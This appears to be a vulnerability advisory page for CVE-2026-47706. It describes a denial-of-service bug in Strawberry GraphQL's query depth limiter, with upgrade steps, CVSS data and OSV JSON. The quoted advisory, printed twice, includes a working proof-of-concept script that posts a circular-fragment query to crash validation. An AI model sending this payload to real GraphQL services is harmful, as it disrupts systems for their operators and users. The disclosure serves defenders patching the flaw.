CVE-2026-47706: Strawberry graphql Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-qfwv-87qj-98xq
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CVSS 5.3
CWE-400 CWE-674
Published
Advisory Summary

CVE-2026-47706 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Strawberry graphql libraries in the PyPI ecosystem. The issue involves strawberry graphql has a circular fragment reference dos. Remediation is available by upgrading affected packages to version 0.315.7.

CVE-2026-47706 at a Glance

CVE Identifier CVE-2026-47706
GHSA Identifier GHSA-qfwv-87qj-98xq
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Strawberry graphql
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-47706

To remediate this vulnerability, upgrade all affected Strawberry graphql dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

strawberry-graphql fixed: 0.315.7 
pip install strawberry-graphql>=0.315.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show strawberry-graphql

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47706, inspect your installed packages using pip:

pip show strawberry-graphql

Analyze the terminal output to locate any version of Strawberry graphql in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.315.7), your application is affected.

Note: The pip show strawberry-graphql command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Strawberry graphql, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. ### Details The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion. ### PoC **server code** ``` import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter @strawberry.type class User: name: str = "GONA" @strawberry.type class Query: @strawberry.field def user(self) -> User: return User() # Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(max_depth=10)] ) app = FastAPI() app.include_router(GraphQLRouter(schema), prefix="/graphql") ``` **exploit** ``` import httpx # Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ } try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}") ``` ### Impact Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

CVE-2026-47706 Affected Strawberry graphql Versions

1 component(s)
Fixed Versions:
0.315.7
Product / Package Ecosystem Affected Versions Fixed Version
strawberry-graphql
pypi/strawberry-graphql
PyPI
≥ 0.71.0
< 0.315.7
0.315.7

References

GitHub Advisory / Wiki ADVISORY
https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq
NVD — CVE-2026-47706 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-47706
Strawberry graphql Source Repository REPOSITORY
https://github.com/strawberry-graphql/strawberry
Strawberry graphql Release RELEASE
https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7

Frequently Asked Questions

What is CVE-2026-47706?
CVE-2026-47706 is a security vulnerability in Strawberry graphql involving Strawberry GraphQL has a Circular Fragment Reference DOS under CWE-400: Uncontrolled Resource Consumption.
Which Strawberry graphql versions are affected?
Affected versions include releases prior to 0.315.7 across affected packages: strawberry-graphql.
What version fixes CVE-2026-47706?
Upgrading to 0.315.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is strawberry-graphql affected?
Yes, strawberry-graphql is affected in releases prior to 0.315.7. Upgrade your dependency to 0.315.7 or later.
What is the CVSS score of CVE-2026-47706?
CVE-2026-47706 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-47706?
CVE-2026-47706 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-47706?
Run the dependency tree command: 'pip show strawberry-graphql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qfwv-87qj-98xq",
  "modified" : "2026-06-09T11:53:00Z",
  "published" : "2026-06-04T14:38:52Z",
  "aliases" : [ "CVE-2026-47706" ],
  "summary" : "Strawberry GraphQL has a Circular Fragment Reference DOS",
  "details" : "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -> User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -> B -> A -> B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "strawberry-graphql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.71.0"
      }, {
        "fixed" : "0.315.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.315.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47706"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/strawberry-graphql/strawberry"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-674" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-04T14:38:52Z",
    "nvd_published_at" : "2026-06-04T15:16:54Z"
  }
}